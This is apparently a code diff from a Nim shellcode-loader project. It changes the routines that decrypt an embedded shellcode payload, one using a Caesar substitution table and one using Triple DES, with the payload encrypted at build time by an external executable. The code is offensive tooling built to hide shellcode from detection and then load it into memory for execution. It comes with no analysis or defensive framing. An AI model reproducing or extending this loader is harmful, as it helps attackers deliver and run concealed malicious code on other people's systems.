11{.passL :" -static" }
22# {.hint[XDeclaredButNotUsed]:off.}
33# {.passL:"-D:_WIN32_WINNT=0x0602"}
4- {.compile : " encryption\\ des.c" .}
5- import base64
4+ import strutils
65
76const source {.strdefine .}: string = " "
87var code* :cstring
@@ -12,7 +11,7 @@ const currsource:string = "\"" & source & "\""
1211when defined (Caesar ):
1312 import sequtils
1413 proc caesar (result:string ): void =
15- let decodres = decode (result )
14+ let decodres = parseHexStr (result )
1615 let dic = decodres[0 .. 255 ].mapIt (it.byte )
1716 let table = decodres[256 .. high (decodres)].mapIt (it.byte )
1817 var deshellcode = newSeq [uint8 ](table.len)
@@ -27,14 +26,15 @@ when defined(Caesar):
2726 caesar (enbase64)
2827
2928elif defined (TDEA ):
29+ {.compile : " encryption\\ des.c" .}
3030 proc D3DES_Decrypt (plainBuffer:cstring ,keyBuffer:cstring ,cipherBuffer:cstring ,n:cint ):cint {.importc ,cdecl .}
3131 proc de3des (enbase64:string ): void =
32- let shellcode:string = decode (enbase64)
33- let plain_len_byte = cast [int16 ]([shellcode[0 ],shellcode[1 ]])
34- let input_encode:cstring = cstring (shellcode[26 .. high (shellcode)])
35- let key:cstring = cstring (shellcode[2 .. 25 ])
32+ let shellcode:string = parseHexStr (enbase64)
33+ let plain_len_byte = cast [uint32 ]([shellcode[0 ],shellcode[1 ],shellcode[ 2 ],shellcode[ 3 ]])
34+ let input_encode:cstring = cstring (shellcode[28 .. high (shellcode)])
35+ let key:cstring = cstring (shellcode[4 .. 27 ])
3636 code = cast [cstring ](alloc0 (plain_len_byte));
3737 discard D3DES_Decrypt (input_encode,key,code,cast [cint ](plain_len_byte))
38- codelen = plain_len_byte
38+ codelen = cast [ cint ]( plain_len_byte)
3939 const enbase64 = staticExec (" encryption\\ Tdea.exe " & currsource)
4040 de3des (enbase64)
0 commit comments